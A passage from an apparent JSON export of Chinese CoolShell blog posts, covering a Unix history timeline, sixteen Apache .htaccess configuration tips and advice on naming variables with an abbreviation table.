Service)研发中撤出，这是一个前沿但很复杂的分时操作系统。一些重要的Multics理念以后来被用于Unix操作操作系统中。</p>\n<p><span id=\"more-1032\"></span></p>\n<p><img alt=\"\" class=\"alignnone\" height=\"130\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_pdp7_120.jpg\" width=\"120\"/><br/>\nUnix 从 PDP-7 小型机上开始了它的历程<br/>\nCredit: Toresbe (<a href=\"http://creativecommons.org/licenses/sa/1.0/\" target=\"new\">cc-by-sa 1.0</a>)</p>\n<p><strong>八月 – </strong>Bell实验室的Ken Thompson 写了第一个版本的操作系统，这时，这个操作系统还没有名字，这个操作系统是用DEC PDP-7 小型机的汇编语言写成。</p>\n<h4>1970</h4>\n<p>Thompson的操作系统命名为 Unics，全称是Uniplexed Information and Computing Service 这是一个 “被阉割了的微型的 Multics”。 （后来，这个名字被神秘地改成了Unix）</p>\n<h4>1971</h4>\n<p><strong>二月. — </strong>Unix 移植到DEC PDP-11 小型机上。</p>\n<p><strong>十一月. – </strong>写一版本的 “Unix Programmer’s Manual”（Unix程序员手册） 由Ken Thompson 和 Dennis Ritchie完成并出版。</p>\n<h4>1972<img alt=\"\" class=\"alignright\" height=\"150\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_kendennis.jpg\" title=\"Thompson 和 Ritchie\" width=\"230\"/></h4>\n<p>Dennis Ritchie 开发了C 编程语言。</p>\n<h4>1973</h4>\n<p>Unix 成熟期。“管道”，一个可以在两个程序中共享信息的机制问世，这项技术影响了操作系统几十年。这个技术被加入到了Unix中。同年，Unix被用C语言重写。</p>\n<h4>1974</h4>\n<p><strong>一月 – </strong>加利福尼亚大学伯克利分校收到了一份Unix的源码拷贝。</p>\n<p><strong>七月 – </strong>Dennis Ritchie 和 Ken Thompson发表论文《”The UNIX Timesharing System”》，这篇论文发表于计算机协会（Association for Computing Machinery）的月刊杂志上。作者称，这是一个“多用途的，多用户，的交互式的操作系统”。这篇论文导制了社会上对Unix大量的需求。</p>\n<h4>1976</h4>\n<p>Bell 实验室程序员Mike Lesk 开发了 UUCP (Unix-to-Unix Copy Program) ，这个程序主要是用于网络上的文件传输，电子邮件和世界性新闻网络系统Usenet。</p>\n<h4>1977</h4>\n<p>Unix 被移植到了一个非DEC的硬件上： Interdata 8/32 和 IBM 360.</p>\n<h4>1978</h4>\n<p>Bill Joy一个伯克利的毕业生，发布了第一个Unix伯克利发行版——1BSD（the first Berkeley Software Distribution ），本质上来说，这只是 Bell 实验室 Unix V6 加上了一些附加软件。BSD 一下就成为了一个有竞争力的Unix 分枝，从此和 AT&amp;T的 Unix分庭抗礼。而且，BSD以以后派生出了 FreeBSD，NetBSD， OpenBSD， DEC Ultrix，SunOS，NeXTstep/OpenStep 和 Mac OS X。</p>\n<h4>1980</h4>\n<p>4BSD，由美国国防部高级计划研究署 DARPA 资助，成为了世界上第一个支持TCP/IP的Unix。</p>\n<p><img alt=\"\" class=\"alignnone\" height=\"159\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_bjoy_120.jpg\" width=\"120\"/> <br/>\nBill Joy 发起了Unix的 BSD 分枝 并成立了Sun公司<br/>\nCredit: SqueakBox (<a href=\"http://creativecommons.org/licenses/by/2.0/\" target=\"new\">cc-by-sa 2.0</a>)</p>\n<h4>1982</h4>\n<p>Bill Joy 成立了 Sun Microsystems 公司生产基于 Unix的 Sun 工作站。</p>\n<h4>1983</h4>\n<p>AT&amp;T 发布了 Unix System V的第一个版本，这是最具影响力的一个版本，后来，从这个版本派生出了IBM的 AIX 和 Hewlett Packard的 HP-UX。</p>\n<p>Ken Thompson 和 Dennis Ritchie因为Unix 获得了 计算机协会 ACM授于的图灵奖（ Turing Award）—— “for their development of generic operating systems theory and specifically for the implementation of the UNIX operating system”</p>\n<p>Richard Stallman announces plans for the GNU (GNU’s not Unix) operating system, a Unix look-alike composed of free software.</p>\n<h4>1984</h4>\n<p>冬季， 在USENIX/UniForum 大会上，AT&amp;T 阐述了他们的Unix的政策：“不打广告，不作support，不发布补丁，除非先付费”</p>\n<p>X/Open 公司，一个欧洲计算机制造协会，形成了一个Unix的标准——X/Open可移植性指南。它采用了若干特定标准，填补了其他标准缺失功能的空白。这些指南的目的是改善应用程序的可移植性。</p>\n<h4>1985</h4>\n<p>AT&amp;T 发行System V Interface Definition (SVID)，其尝试去设定一个Unix如何运行的标准。</p>\n<h4>1986</h4>\n<p>Rick Rashid 及其同事 于 Carnegie Mellon 大学创造了 Mach操作系统的第一个版本，其用于取代BSD Unix内核，从而可以让操作系统有更好的可移植性，以及更强的安全性，并可用于多处理器的应用。</p>\n<h4>1987</h4>\n<p><img alt=\"\" class=\"alignnone\" height=\"156\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_atanenbaum_120.jpg\" width=\"120\"/> <br/>\nAndrew Tanenbaum 写了 Minix, 一个 Unix 的克隆仅用于教学目的。<br/>\nCredit: GerardM (<a href=\"http://en.wikipedia.org/wiki/GNU_Free_Documentation_License\" target=\"new\">GNU FDL</a>)</p>\n<p>AT&amp;T Bell 实验室和Sun Microsystems 宣布计划一同开发一个操作系统以便统一两个主要的Unix分枝。</p>\n<p>Andrew Tanenbaum 写下了 Minix，这是一个开源的Unix克隆操作系统，仅用于计算机科学的教室。</p>\n<h4>1988</h4>\n<p>Unix战争爆发。为了对付AT&amp;T/Sun 联盟，其它 Unix 产商包括DEC，HP 和 IBM 组成了“开放软件基金会 Open Software Foundation (OSF) ”以开发一个开放的Unix标准。AT&amp;T 和它的盟友也组织了一个他们自己的标准组织： Unix International.</p>\n<p>同年，IEEE 发布了 Posix (Portable Operating System Interface for Unix)，这是一系列关于Unix接口的标准。</p>\n<h4>1989</h4>\n<p>Unix System Labs，AT&amp;T Bell 实验室所属，发布了System V Release 4 (SVR4)，这是和Sun公司合作的产物，其整合了System V， BSD， SunOS 和 Xenix.</p>\n<h4>1990</h4>\n<p>开放软件基金会 OSF 针对SVR4发布了 OSF/1，这是一个基于 Mach 和 BSD的版本。</p>\n<h4>1991</h4>\n<p>Sun Microsystems 宣布了 Solaris，一个基于 SVR4的操作系统。</p>\n<p>同年Linux Torvalds 写了 Linux，解一个开源的操作系统内核（由Minix产生的灵感）</p>\n<p><img alt=\"\" class=\"alignnone\" height=\"138\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_ltorvalds_120.jpg\" width=\"120\"/> <br/>\nLinus Torvalds</p>\n<h4>1992</h4>\n<p>Linux 内核被整合到了 GNU，并开创了免费的GNU/Linux 操作系统，大家习惯于把这个操作系统简单的叫作“Linux”。</p>\n<h4>1993</h4>\n<p>AT&amp;T 卖掉了他的 Unix System Laboratories 以及所有的Unix权利，Novell成了买主。之后Novell 又把Unix 注册商标转给了X/Open group.</p>\n<p>Microsoft 开发了 Windows NT，一个强大的32们多处理器的操作系统。Windows NT 所引发的恐慌情绪促成了Unix的标准。</p>\n<h4>1994</h4>\n<p>NASA 发明了 <a href=\"http://www.beowulf.org/overview/history.html\" target=\"new\">Beowulf computing</a> ，其使用了一些低成本的PC机并使用Unix或Linux作为操作系统，以及TCP/IP为网络组成了一个廉价的集群技术。</p>\n<h4>1996</h4>\n<p>X/Open 和 Open Software Foundation 合并形成了 The Open Group.</p>\n<p><img alt=\"\" class=\"alignnone\" height=\"177\" src=\"http://www.computerworld.com/common/images/site/features/2009/062009/unix_natmedal_230.jpg\" width=\"230\"/> <br/>\nClinton 总统授予Thompson 和 Ritchie国家科技勋章</p>\n<h4>1999</h4>\n<p>美国总统克林顿授予Ken Thompson 和 Dennis Ritchie国家科技勋章，以表彰他们在Bell实验室的成就。</p>\n<h4>2001</h4>\n<p>Apple 发布 Mac OS X，这是一个基于Mach内核和BSD开发的桌面操作系统 。</p>\n<h4>2002</h4>\n<p>The Open Group 宣布了Single UNIX Specification （以前叫 Spec 1170）的第三个版本。  </p>\n<p> </p>\n<h4>参考</h4>\n<ul>\n<li><em>Peter H. Salus</em>所著《A Quarter Century of Unix》<em></em></li>\n<li><em>Microsoft</em></li>\n<li><em>AT&amp;T</em></li>\n<li><em>The Open Grou</em></li>\n<li><em>Wikipedia </em></li>\n<li><em>其它</em></li>\n</ul>\n<p>原文：<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;taxonomyName=Operating+Systems&amp;articleId=9133628&amp;taxonomyId=89&amp;pageNumber=1\" target=\"_blank\">链接</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9104.html\"><img alt=\"sed 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/sed-superman-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1032.html\">Unix 40年：Unix年鉴</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-14 16个简单实用的.htaccess小贴示.html",
    "content": "<html><body><p>.htaccess 文件 (Hypertext Access file) 是Apache Web服务器的一个非常强大的配置文件，对于这个文件，Apache有一堆参数可以让你配置出几乎随心所欲的功能。.htaccess 配置文件坚持了Unix的一个文化——使用一个ASCII 的纯文本文件来配置你的网站的访问策略。</p>\n<p>这篇文章包括了16个非常有用的小技巧。另外，因为.htaccess 是一个相当强大的配置文件，所以，一个轻微的语法错误会造成你整个网站的故障，所以，在你修改或是替换原有的文件时，一定要备份旧的文件，以便出现问题的时候可以方便的恢复。</p>\n<p><strong>1. 使用.htaccess 创建自定义的出错页面。</strong>对于Linux Apache来说这是一项极其简单的事情。使用下面的.htaccess语法你可以轻松的完成这一功能。（把.htaccess放在你的网站根目录下）</p>\n<p><span style=\"COLOR: #ff6600;\">ErrorDocument 401 /error/401.php<br/>\nErrorDocument 403 /error/403.php<br/>\nErrorDocument 404 /error/404.php<br/>\nErrorDocument 500 /error/500.php</span></p>\n<p><span style=\"COLOR: #ff6600;\"><span id=\"more-1035\"></span></span></p>\n<p><strong>2. 设置网站的时区</strong></p>\n<p><span style=\"COLOR: #ff6600;\">SetEnv TZ America/Houston</span></p>\n<p><strong>3. 阻止IP列表</strong><br/>\n有些时候，你需要以IP地址的方式阻止一些访问。无论是对于一个IP地址还是一个网段，这都是一件非常简单的事情，如下所示：</p>\n<p><span style=\"COLOR: #ff6600;\">allow from all<br/>\ndeny from 145.186.14.122<br/>\ndeny from 124.15</span></p>\n<p>Apache对于被拒绝的IP会返回403错误。</p>\n<p><strong>4. 把一些老的链接转到新的链接上——搜索引擎优化SEO </strong></p>\n<p><span style=\"COLOR: #ff6600;\">Redirect 301 /d/file.html </span><a href=\"http://www.htaccesselite.com/r/file.html\"><span style=\"COLOR: #ff6600;\">http://www.htaccesselite.com/r/file.html</span></a></p>\n<p><strong>5. 为服务器管理员设置电子邮件。</strong></p>\n<p><span style=\"COLOR: #ff6600;\">ServerSignature EMail<br/>\nSetEnv SERVER_ADMIN </span><a href=\"mailto:default@domain.com\"><span style=\"COLOR: #ff6600;\">default@domain.com</span></a></p>\n<p><strong>6. 使用.htaccess 访止盗链。</strong>如果你网站上的一个图片被别的N多的网站引用了，那么，这很有可能会导致你服务器的性能下降，使用下面的代码可以保护某些热门的链接不被过多的引用。</p>\n<p><span style=\"COLOR: #ff6600;\">Options +FollowSymlinks<br/>\n# Protect Hotlinking<br/>\nRewriteEngine On<br/>\nRewriteCond %{HTTP_REFERER} !^$<br/>\nRewriteCond %{HTTP_REFERER} !^http://(</span><a href=\"http://www.%29/?domainname.com/\"><span style=\"COLOR: #ff6600;\">www.)?domainname.com/</span></a><span style=\"COLOR: #ff6600;\"> [nc]<br/>\nRewriteRule .*.(gif|jpg|png)$ </span><a href=\"http://domainname.com/img/hotlink_f_o.png\"><span style=\"COLOR: #ff6600;\">http://domainname.com/img/hotlink_f_o.png</span></a><span style=\"COLOR: #ff6600;\"> [nc]</span></p>\n<p><strong>7. 阻止 User Agent 的所有请求</strong></p>\n<p><span style=\"COLOR: #ff6600;\">## .htaccess Code :: BEGIN<br/>\n## Block Bad Bots by user-Agent<br/>\nSetEnvIfNoCase user-Agent ^FrontPage [NC,OR]<br/>\nSetEnvIfNoCase user-Agent ^Java.* [NC,OR]<br/>\nSetEnvIfNoCase user-Agent ^Microsoft.URL [NC,OR]<br/>\nSetEnvIfNoCase user-Agent ^MSFrontPage [NC,OR]<br/>\nSetEnvIfNoCase user-Agent ^Offline.Explorer [NC,OR]<br/>\nSetEnvIfNoCase user-Agent ^[Ww]eb[Bb]andit [NC,OR]<br/>\nSetEnvIfNoCase user-Agent ^Zeus [NC]</span></p>\n<p><span style=\"COLOR: #ff6600;\">Order Allow,Deny<br/>\nAllow from all<br/>\nDeny from env=bad_bot</span></p>\n<p><span style=\"COLOR: #ff6600;\">## .htaccess Code :: END</span></p>\n<p><strong>8. 把某些特殊的IP地址的请求重定向到别的站点</strong></p>\n<p><span style=\"COLOR: #ff6600;\">ErrorDocument 403 </span><a href=\"http://www.youdomain.com/\"><span style=\"COLOR: #ff6600;\">http://www.youdomain.com</span></a><br/>\n<span style=\"COLOR: #ff6600;\">Order deny,allow<br/>\nDeny from all<br/>\nAllow from 124.34.48.165<br/>\nAllow from 102.54.68.123</span></p>\n<p><strong>9. 直接找开文件而不是下载</strong> – 通常，我们打开网上文件的时候总是会出现一个对话框问我们是下载还是直接打开，使用下面的设置就不会出现这个问题了，直接打开。</p>\n<p><span style=\"COLOR: #ff6600;\">AddType application/octet-stream .pdf<br/>\nAddType application/octet-stream .zip<br/>\nAddType application/octet-stream .mov</span></p>\n<p><strong>10. 修改文件类型</strong> – 下面的示例可以让任何的文件都成为PHP那么被服务器解释。比如：myphp, cgi，phtml等。</p>\n<p><span style=\"COLOR: #ff6600;\">ForceType application/x-httpd-php<br/>\nSetHandler application/x-httpd-php</span></p>\n<p><strong>11. 阻止存取.htaccess 文件</strong></p>\n<p><span style=\"COLOR: #ff6600;\"># secure htaccess file</span></p>\n<p><span style=\"COLOR: #ff6600;\"> order allow,deny<br/>\n deny from all</span><br/>\n<strong>12. 保护服务器上的文件被存取</strong></p>\n<p><span style=\"COLOR: #ff6600;\"># prevent access of a certain file</span><span style=\"COLOR: #ff6600;\"> order allow,deny<br/>\n deny from all</span><br/>\n<strong>13. 阻止目录浏览</strong></p>\n<p><span style=\"COLOR: #ff6600;\"># disable directory browsing<br/>\nOptions All -Indexes</span></p>\n<p><strong>14. 设置默认主页</strong></p>\n<p><span style=\"COLOR: #ff6600;\"># serve alternate default index page<br/>\nDirectoryIndex about.html</span></p>\n<p><strong>15. 口令认证</strong> – 你可以创建一个文件用于认证。下面是一个示例：</p>\n<p><span style=\"COLOR: #ff6600;\"># to protect a file</span></p>\n<p><span style=\"COLOR: #ff6600;\">AuthType Basic<br/>\nAuthName “Prompt”<br/>\nAuthUserFile /home/path/.htpasswd<br/>\nRequire valid-user</span></p>\n<p><span style=\"COLOR: #ff6600;\"># password-protect a directory<br/>\nresides<br/>\nAuthType basic<br/>\nAuthName “This directory is protected”<br/>\nAuthUserFile /home/path/.htpasswd<br/>\nAuthGroupFile /dev/null<br/>\nRequire valid-user</span></p>\n<p><strong>16. 把老的域名转像新的域名</strong></p>\n<p><span style=\"COLOR: #ff6600;\"># redirect from old domain to new domain<br/>\nRewriteEngine On<br/>\nRewriteRule ^(.*)$ </span><a href=\"http://www.yourdomain.com/$1\"><span style=\"COLOR: #ff6600;\">http://www.yourdomain.com/$1</span></a><span style=\"COLOR: #ff6600;\"> [R=301,L]</span></p>\n<p><span style=\"color: #000000;\">文章：<a href=\"http://rafeekphp.wordpress.com/2009/06/06/16-great-htaccess-tricks-and-hacks/\" target=\"_blank\">来源</a></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8387.html\"><img alt=\"Bret Victor – Learnable Programming\" height=\"150\" src=\"../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8387.html\">Bret Victor – Learnable Programming</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3709.html\"><img alt=\"预发布环境,Tag发布机制和可重复的部署过程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3709.html\">预发布环境,Tag发布机制和可重复的部署过程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1035.html\">16个简单实用的.htaccess小贴示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-15 编程命名中的7+1个提示.html",
    "content": "<html><body><p>前几天Neo写过《<a href=\"https://coolshell.cn/articles/990.html\" title=\"编程中的命名设计那点事\">编程中的命名设计那点事</a>》，这里也有另外一篇和程序命名的文章，可以从另一个角度看看。</p>\n<p><strong>1.- 变量应该是尽可能的望文知意。千万不要使用教材中的命名方式。</strong></p>\n<ul>\n<li><strong>好的变量</strong>：<strong> </strong>daysDateRange, flightNumber, carColor.</li>\n<li><strong>坏的变量</strong>： days, dRange, temp, data, aux…</li>\n</ul>\n<p>在我们的日常工作中，有很大数量的开发人员喜欢使用短的变量名，而不是有含义的变量名。这主要是因为我们大学教科书的那些示例所造成的，人都是先入为主，所以，教科书中的那些很抽象，带着演示的变量命名影响了我们一代又一代的程序员，并影响了他们很多年。虽然那些短的，教材式的变量名，可能会让你少打一些字，但其实，这是非常非常不好的。因为软件的维护成本远远大于了软件的开发成本，如果你不取一个好的一点的变量名，那么当进行代码评审时，当进行bug fixing时，当进行代码重构时，当进行代码维护时，你的某个变量名可能会让你一头雾水，不知道所措，还可以会让你走入陷阱，造成更大的时间成本。所以，一个可阅读的代码必然和那些不错的变量名分不开，而这也能让你的软件间接上有更好的质量。</p>\n<p><span id=\"more-1038\"></span></p>\n<p><strong>2.- 变量名不要太长，尽可能地简短</strong></p>\n<p>只有简单和简短的变量名才是容易阅读的。因为你的变量名一定会用于程序语句中，所以，为了让你的程序语句看起来的简短，你的变量名也应该短一点，不然写出来的一个表达式就会显得很复杂。</p>\n<p>当然，在有些时候，一个有含义的变量名和一个简短的变量名可能存在一些冲突。这相当锻炼我们的语言能力——如果有最精炼的词语来表达最丰富的含义。如果实在做不到，那么，取一个有含义的变量名要比取一个简短的变量名更好一些。不管怎么样，我们希望即简短又有丰富的含义，但如果不能两全，那有含义优先级更高一些。</p>\n<ul>\n<li><strong>坏的变量</strong>：howLonDoesItTakeToOpenTheDoor， howBigIsTheMaterial…</li>\n<li><strong>好的变量</strong>：timeToOpenTheDoor， MaterialSize.</li>\n</ul>\n<p><strong>3.- 可以使用缩写，但需要有一些注释</strong></p>\n<p>有一些时候，我们需要使用一些缩写来命名变量，比如：用usr来表示user，用gp来表示group，用conf来表示configuration，用cwd来表示current working directory，用ptr来代码point to reference，等等，等等。缩写一般要用在大家可以看得懂的，而不是为了缩写而缩短一个单词，当然，如果你把缩写后的变量名加上注释，那就更加稳妥了。关于一些约定俗成的缩写，可参看本文的<strong>附录一</strong>。</p>\n<p><strong>4.- 使用合适的匈牙利命名规则</strong></p>\n<p>这里有一篇非常不错的英文文章告诉你 《<a href=\"http://www.joelonsoftware.com/articles/Wrong.html\" target=\"_blank\">什么是合适的匈牙利命名</a> 》，这篇文章同时还告诉你如何去用他。基本上来说，匈牙利命名法主要是为变量加上某种前缀以标识这个变量的类型，或是一种方法的功能。其基本原则是：变量名＝属性＋类型＋对象描述。</p>\n<p>比如：在描述类型方面：指针p，函数fn，长整型 l，布尔b，浮点型（有时也指文件）f，双字 dw，字符串 sz，短整型 n，双精度浮点 d，无符号 u……等等。关于更多的命名规范，请参见<strong>附录二</strong>。</p>\n<p>注意，匈牙利命名也是有不好的地方的，比如你要把一个整形改成一个浮点型，你除了要改变这个变量的类型，你还要改变这个变量的名字。这是相当麻烦的。而且，在某些时候，这种前缀式的命名可以反而让你不知所措。另外，在C++中，有了类以后，这种命名方法就显得不容易去实施了。所以，合适地使用匈牙利命名方式背后的思想是很关键的。</p>\n<p><strong>5.- 不要使用反逻辑来命名</strong></p>\n<ul>\n<li><strong>好的命名</strong>：  IsEnabled.</li>\n<li><strong>坏的命名：</strong> IsNotEnabled.</li>\n</ul>\n<p>在阅读的时候，我们更喜欢正向的逻辑，而不是反向逻辑。这一规则不单单的命名，在条件语句中，我们也是要尽量不要使用这种反面的逻辑。如：if (! (isAdmin || isUser))，这样的语句很不符合人读代码的习惯，写成这样会更好一些——if (!isAdmin &amp;&amp; !isUser)。</p>\n<p><strong>6.- 保持一致性</strong></p>\n<p>保持所有代码的一致性。使用相同的命名规则。这外世界上没有最好的命名规范。但有一点是可以确认的，那就是在一个代码库中，应该使用一致的命名规则，即使这个规则不那么好，但整个团队使用一致的就是好的。</p>\n<p><strong>7.- 附和应用程序的领域术语</strong></p>\n<p>在不同的领域中，不同的观念会有非常特别和不同的意思。例如：单词“order”并不总是意味着“次顺”，有些时候，其意味着“订单”，有些时候，意味着“命令”，有些时候，意为着“规则”。所以，在某个领域中，某些单词会有不同的含义，所以，这需要我们的命令去附和这些领域。</p>\n<p> </p>\n<p><strong>黄金法则- 花一些时间去思考去权衡一下你的变量名</strong></p>\n<p>当你设计好一个的变量名一个函数名的时候，别着急去使用他，停下来，想一想，这个变量名是否合适，是否还有更好的？也许你正在使用的是一个很不好的变量名。有些时候，需要我们权衡利弊一下，可能还要去和同事讨论一下。</p>\n<p>总之，变量名是编程的第一步，第一步走好了，后面才走得好。试想，无论是你或你的同事在使用一些好的变量名编程是一件多么轻松的事啊。</p>\n<p> </p>\n<h4>附录：部分的缩写规范</h4>\n<table align=\"center\" border=\"0\">\n<tbody>\n<tr>\n<td>完整单词</td>\n<td>缩写</td>\n</tr>\n<tr>\n<td>A</td>\n<td> </td>\n</tr>\n<tr>\n<td>average</td>\n<td>avg</td>\n</tr>\n<tr>\n<td>B</td>\n<td> </td>\n</tr>\n<tr>\n<td>back</td>\n<td>bk</td>\n</tr>\n<tr>\n<td>background</td>\n<td>bg</td>\n</tr>\n<tr>\n<td>break</td>\n<td>brk</td>\n</tr>\n<tr>\n<td>buffer</td>\n<td>buf</td>\n</tr>\n<tr>\n<td>C</td>\n<td> </td>\n</tr>\n<tr>\n<td>color</td>\n<td>cr,clr</td>\n</tr>\n<tr>\n<td>control</td>\n<td>ctrl</td>\n</tr>\n<tr>\n<td>D</td>\n<td> </td>\n</tr>\n<tr>\n<td>data</td>\n<td>dat</td>\n</tr>\n<tr>\n<td>delete</td>\n<td>del</td>\n</tr>\n<tr>\n<td>document</td>\n<td>doc</td>\n</tr>\n<tr>\n<td>E</td>\n<td> </td>\n</tr>\n<tr>\n<td>edit</td>\n<td>edt</td>\n</tr>\n<tr>\n<td>error</td>\n<td>err</td>\n</tr>\n<tr>\n<td>escape</td>\n<td>esc</td>\n</tr>\n<tr>\n<td>F</td>\n<td> </td>\n</tr>\n<tr>\n<td>flag</td>\n<td>flg</td>\n</tr>\n<tr>\n<td>form</td>\n<td>frm</td>\n</tr>\n<tr>\n<td>G</td>\n<td> </td>\n</tr>\n<tr>\n<td>grid</td>\n<td>grd</td>\n</tr>\n<tr>\n<td>I</td>\n<td> </td>\n</tr>\n<tr>\n<td>increment</td>\n<td>inc</td>\n</tr>\n<tr>\n<td>information</td>\n<td>info</td>\n</tr>\n<tr>\n<td>initial</td>\n<td>init</td>\n</tr>\n<tr>\n<td>insert</td>\n<td>ins</td>\n</tr>\n<tr>\n<td>image</td>\n<td>img</td>\n</tr>\n<tr>\n<td>L</td>\n<td> </td>\n</tr>\n<tr>\n<td>lable</td>\n<td>lab</td>\n</tr>\n<tr>\n<td>length</td>\n<td>len</td>\n</tr>\n<tr>\n<td>list</td>\n<td>lst</td>\n</tr>\n<tr>\n<td>library</td>\n<td>lib</td>\n</tr>\n<tr>\n<td>M</td>\n<td> </td>\n</tr>\n<tr>\n<td>manager</td>\n<td>mgr,mngr</td>\n</tr>\n<tr>\n<td>message</td>\n<td>msg</td>\n</tr>\n<tr>\n<td>O</td>\n<td> </td>\n</tr>\n<tr>\n<td>Oracle</td>\n<td>Ora</td>\n</tr>\n<tr>\n<td>P</td>\n<td> </td>\n</tr>\n<tr>\n<td>panorama</td>\n<td>pano</td>\n</tr>\n<tr>\n<td>password</td>\n<td>pwd</td>\n</tr>\n<tr>\n<td>picture</td>\n<td>pic</td>\n</tr>\n<tr>\n<td>point</td>\n<td>pt</td>\n</tr>\n<tr>\n<td>position</td>\n<td>pos</td>\n</tr>\n<tr>\n<td>print</td>\n<td>prn</td>\n</tr>\n<tr>\n<td>program</td>\n<td>prg</td>\n</tr>\n<tr>\n<td>S</td>\n<td> 